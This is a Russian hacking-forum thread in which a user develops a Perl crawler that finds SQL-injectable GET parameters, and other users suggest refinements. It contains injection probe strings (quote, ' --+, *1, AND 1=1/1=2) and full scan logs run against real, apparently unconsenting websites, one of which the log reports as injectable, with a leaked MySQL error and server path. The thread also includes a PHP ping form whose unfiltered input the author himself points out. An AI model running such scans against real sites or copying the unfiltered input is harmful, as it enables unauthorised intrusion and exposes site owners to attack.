Скрипт поиска нефильтруемых переменных (SQL injection) Писал на перл, ругать сильно не надо если плохо! Должен быть установлен ActivePerl. Что должен делать скрипт: - искать переменные, нефильтруемые переменные: 1) Через внедрение просто кавычки в линки з гет-параметрами (у все поочереди), и если кавычка фильтруеться, то текст blablabla, масив можно дополнить в функции при появлении Варнингов (регулярку по поиску варнингов можно улучшить - не писал слова mysql_error fetch_array ...). Если первый способ не сработал, то скрипт через 2) пытаеться найти нефильтруемую переменную. 2) Поиск по неизменению контента (проверяються отпечатки двох страниц, если одинаковые переменная вероятно нефильтруемая)... Масив с внедренными операторами можно дополнять так как и в 1) случае. Пример тела (тоесть функциональный подход) ис книги БХВ "PHP в примерах". При поиске линков собираються уникальные линки, должы собираться с одного хоста, линки - mailto отбрасываються и картинки. Тестировал у себя на обычном веб-сервере в ЛР. Так как нет через прокси ,через который не получаеться сканить почему то, через dial-up пробывал, вроде работало. За ошыбки только извинения: скчать
не умничай я тока учусь что сильно умный кристальный мен... Просьба модераторов удалить эту тему, я не могу это сделать!!!
Да я согласен что сидеть искать ее долго и логи засыпать: ну смысл в том что подставляет. Да задача легка, а если много линков что ты будеш сидеть руками искать переменную. В этом и суть заключаеться, + перл одновременно начал изучать. Для меня много плюсов. Кстати иди сам почитай понял, "кристал" ! вот отчет одного сайта: Сканирование http://big-remont.org.ua/ ... Линк: http://big-remont.org.ua/index.php Линк: http://big-remont.org.ua/index.php?id=services Линк: http://big-remont.org.ua/album.php Линк: http://big-remont.org.ua/contact.php Линк: http://big-remont.org.ua/index.php?id=dom Линк: http://big-remont.org.ua/index.php?id=kvartira Линк: http://big-remont.org.ua/index.php?id=ofice Линк: http://big-remont.org.ua/index.php?id=steni Линк: http://big-remont.org.ua/index.php?id=potolki Линк: http://big-remont.org.ua/index.php?id=poli Линк: http://big-remont.org.ua/index.php?id=dop Линк: http://big-remont.org.ua/index.php?id=faq На данный момент парсим страничку: http://big-remont.org.ua/index.php На данный момент парсим страничку: http://big-remont.org.ua/index.php?id=services На данный момент парсим страничку: http://big-remont.org.ua/album.php На данный момент парсим страничку: http://big-remont.org.ua/contact.php На данный момент парсим страничку: http://big-remont.org.ua/index.php?id=dom На данный момент парсим страничку: http://big-remont.org.ua/index.php?id=kvartira На данный момент парсим страничку: http://big-remont.org.ua/index.php?id=ofice На данный момент парсим страничку: http://big-remont.org.ua/index.php?id=steni На данный момент парсим страничку: http://big-remont.org.ua/index.php?id=potolki На данный момент парсим страничку: http://big-remont.org.ua/index.php?id=poli На данный момент парсим страничку: http://big-remont.org.ua/index.php?id=dop На данный момент парсим страничку: http://big-remont.org.ua/index.php?id=faq в линке есть гет-параметр(ы): http://big-remont.org.ua/index.php?id=services Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=services' Все ок! Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=servicesbla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=services' --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=services --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=services*1 Все ок! в линке есть гет-параметр(ы): http://big-remont.org.ua/index.php?id=dom Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=dom' Все ок! Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=dombla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=dom' --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=dom --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=dom*1 Все ок! в линке есть гет-параметр(ы): http://big-remont.org.ua/index.php?id=kvartira Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=kvartira' Все ок! Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=kvartirabla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=kvartira' --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=kvartira --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=kvartira*1 Все ок! в линке есть гет-параметр(ы): http://big-remont.org.ua/index.php?id=ofice Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=ofice' Все ок! Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=oficebla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=ofice' --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=ofice --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=ofice*1 Все ок! в линке есть гет-параметр(ы): http://big-remont.org.ua/index.php?id=steni Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=steni' Все ок! Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=stenibla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=steni' --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=steni --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=steni*1 Все ок! в линке есть гет-параметр(ы): http://big-remont.org.ua/index.php?id=potolki Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=potolki' Все ок! Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=potolkibla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=potolki' --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=potolki --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=potolki*1 Все ок! в линке есть гет-параметр(ы): http://big-remont.org.ua/index.php?id=poli Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=poli' Все ок! Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=polibla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=poli' --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=poli --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=poli*1 Все ок! в линке есть гет-параметр(ы): http://big-remont.org.ua/index.php?id=dop Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=dop' Все ок! Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=dopbla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=dop' --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=dop --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=dop*1 Все ок! в линке есть гет-параметр(ы): http://big-remont.org.ua/index.php?id=faq Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=faq' Все ок! Поиск нефильтруемой переменной при включеных ошыбках http://big-remont.org.ua/index.php?id=faqbla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=faq' --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=faq --+ Все ок! Поиск нефильтруемой переменной при выключеных ошыбках (по контенту) http://big-remont.org.ua/index.php?id=faq*1 Все ок! Ко-во линков: 12 Найденные линки: http://big-remont.org.ua/index.php http://big-remont.org.ua/index.php?id=services http://big-remont.org.ua/album.php http://big-remont.org.ua/contact.php http://big-remont.org.ua/index.php?id=dom http://big-remont.org.ua/index.php?id=kvartira http://big-remont.org.ua/index.php?id=ofice http://big-remont.org.ua/index.php?id=steni http://big-remont.org.ua/index.php?id=potolki http://big-remont.org.ua/index.php?id=poli http://big-remont.org.ua/index.php?id=dop http://big-remont.org.ua/index.php?id=faq
Такой подход имеет место быть, хоть и со своими недостатками, которых при росте популярности AJAX становится всё больше. А так, совершенствуй парсер HTML/JS - выявляй параметры. Главное, исправь "выключеных ошЫбках". Глаза режет.
Надо не только совершенствовать парсер, но и методы поиска. Если параметр цифровой, надо сравнивать контент при 2-1 и 1, например. Если строковый, сравнивать blabla+AND+1=1 и blabla+AND+1=2.
та я в курсе Root-access). Еще придумаю. И чтоб документы-линки не собирало, тоесть там где pdf,doc, txt и.д . Тоесть регулярку править и править: Code: if (($links{'href'} !~ /^mailto:|.*\.jpg$|.*\.png$|.*\.jpeg$|.*\.bmp$|.*\.gif$|.*\.pdf$|.*\.doc$|.*\.ppt$/i) && (index($links{'href'},$host)!=-1)) А по поводу , я не раз встречал что числа в строковом контекcте в запросе были , интресеный момент. Не, но самособой понятно что больше в числовом контекте, но не исключено что может и быть в строковом. Тут еще работы много. Тоесть, смысл в чем: больше им парсить и смотреть на отчет(тогда улучшать ), ну и практики побольше --> тогда может что нить получиться.
научил скрипт ограничивать каталогом, чтоб не все ссылки собирал, допустим есть форум , то зачем там по линкам бегать. Допустим ввели , слеш обязателен, то собирает все ссылки именно ис shop...!!! Поправил регулярку Решаеться задача Root-access Пост обновил!
то что бывало такое что введеш тока домен бес каталога, у меня проверка стоит до последнего вхождения "/", если не ввести и поставить пометку ограничить каталогом, то обрезало до http:/... Ну в принцыпе проверку можно было сделать. Я сделал проверку обязательну в конце. Так единообразно просто! (веб-интерфейс с примером как вводить)
[не реклама] зайди на сайт http://www.savsak.com/article.asp и скачай оттуда прогу AR-TA и посмари как она работает ....там почти все реализовано как надо и намного круче+есть много фичи , попробуй также и с GUI ) а за старание +
Не вставляет.Великая хакерская кавычка,по наблюдениям, все больше и больше по важности стремиться к нулю.Люди научились использовать фильтры,все больше в моде аякс,так что запросы отследить все нуднее и нуднее.Лучше все делать руками,там где не прокатит кавычка,можно попробывать логику,и наоборот.
Не плохо, за старание респект однозначно. Но пока для этих целей юзать буду ArxSqlSearcher, хотя (включительно Арх'совский) пользовался подобными скриптами раза 2 в жизни
Сделал, определяет значение гет параметра если строка, то береться один масив с елементами которые будут вставляться , когда число, то другой. У нас три масива : 1) просто для возникновения ошыбки; 2) для строковых значений; 3) для числовых. Если на линке есть ошибка при подстановке значений с первого масива, то 2 или 3 масив не прокручиваеться. Если нет, то определяеться что за значение в гет-параметре. Потом применяеться масив 2 или 3 соответсвенно. И все значения с этих масивов тоже не прокручиваються, если нашлись одинавовые сумы, то осуществялеться выход что соответсвенно должно ускорить. Надо заметить что если линк будет с использованием mod_rewrite, то ниче это не даст. Участок кода: На даный момент недостатков много: 1) если относительные линки, то не преобразовует. Надо посидеть с модулем URI поиграться. 2) линки могут быть ЧПУ; 3) использование аякс технологии;
Root-access проверь пожалуйста, ради интереса, я не могу с своим нетом проверить. На локалке что то чихлит а в нете фиг его знает . Был создал хост и его сканил. Чтоб увеличить скорость сделаю до первого нахождения переменной и выход. Если надо будет полное сканирование! Ну и чтоб однотипные линки отбрасывало!
Сделал фичу: Если такие линки встречаються: и То скрипт возьмет один линк ис етих первый попавшыйся для проверки гет-параметров. Но, если будет такая: , то такую тоже будет проверять, так как здесь есть дополнительный параметр. Также, сделал неполное сканирование(чекбокс) - имееться ввиду, если первая ошыбка нашлась или по контенту определил скрипт, то дальше робота завершаеться. Просто так надо было долго ждать. На даный момент недостаток: 1) относительные урлы и то что выше; Добавил осуществление пинга через форму, там переменная для пинга не фильтруеться : Code: <? //оброботка ошыбок # выводим все сообщения об ошыбках error_reporting(E_ALL); //лимита нет set_time_limit(0); //require("inc/functions.php"); //запрещаем кеширование браузером nocache(); ?> <html> <head> <title>Сканер by Strilo4ka!</title> </head> <body> <form name="" action="" method="get"> <a href="../cgi-bin/scaner.pl">Назад</a><br> Целевой адрес (пример www.site.ru)<br> <input name="url" type="text" value=""><br> <input name="option" type="radio" value="1" checked>Ping<br> <!-- <input name="option" type="radio" value="2" >Whois<br> --> <input type="submit" value="Сделать это!"> <?php //чтоб небыло ошыбки неинициализированой переменной if (isset($_GET['option'])) { switch ($_GET['option']) { case 1: echo "<br><b>Пингуем {$_GET['url']}:</b><br>"; echo ping($_GET['url']); break; case 2: echo "<b>whois для {$_GET['url']}:</b><br>"; //тут будеи функция которая возвращает результат с whois break; } } ?> </body> </html> ?> Теперь еще можно указывать количество линков для пробежки чтоб не ждать долго. Для этого на форме чекбокс есть (обязательный). Если чесно мне скрипт не нравиться так как за оптимизацию не думал и воше можно было лучше намного. 2 дня писал. Скажу что работает, вот на этом сайте есть блинд, домен скрою: Code: Сканирование http://site/ ... Линк: http://site/index.php?lan=ukr Линк: http://site/feedback.php?lan=ukr На данный момент парсим страничку: http://site/index.php?lan=ukr На данный момент парсим страничку: http://site/feedback.php?lan=ukr В линке есть гет-параметр(ы): http://site/index.php?lan=ukr Поиск нефильтруемой переменной при включеных ошибках http://site/index.php?lan=ukr' Все ок! Поиск нефильтруемой переменной при включеных ошибках http://site/index.php?lan=ukrbla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошибках (по контенту) http://site/index.php?lan=ukr' --+ [COLOR=Red]Есть возможность проведения SQL injection[/COLOR] В линке есть гет-параметр(ы): http://site//feedback.php?lan=ukr Поиск нефильтруемой переменной при включеных ошибках http://site/feedback.php?lan=ukr' Все ок! Поиск нефильтруемой переменной при включеных ошибках http://site/feedback.php?lan=ukrbla-bla-bla Все ок! Поиск нефильтруемой переменной при выключеных ошибках (по контенту) http://site/feedback.php?lan=ukr' --+ [COLOR=Red]Есть возможность проведения SQL injection[/COLOR] Сканировать еще Ко-во наденных линков: 2 Сами линки: http://site/index.php?lan=ukr http://site/feedback.php?lan=ukr В условиях поиска задал был пробежка для сайта: 2 ну и адрес. Реальный пример роботы скрипта №2: взял скуль ис темы "SQL Инъекции" которую нашел Pr0mo. - ввел этот адрес (сам домен бес скрипта и переменных (типо я не знаю что там есть дырявая переменная); - поставил ограничиться каталогом; - неполное сканирование; - пробежка по 1 линку; Code: Сканирование http://www.stanadyne.com/ ... Линк: http://www.stanadyne.com/view.php?id=1 На данный момент парсим страничку: http://www.stanadyne.com/view.php?id=1 В линке есть гет-параметр(ы): http://www.stanadyne.com/view.php?id=1 Поиск нефильтруемой переменной при включеных ошибках http://www.stanadyne.com/view.php?id=1' [COLOR=Red]Есть возможность проведения SQL injection:[/COLOR] В контенте ошибка : Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/content/19/5003819/html/view.php on line 17 Сканировать еще Ко-во наденных линков: 1 Сами линки: http://www.stanadyne.com/view.php?id=1 Все оффтоп! Тема закрыта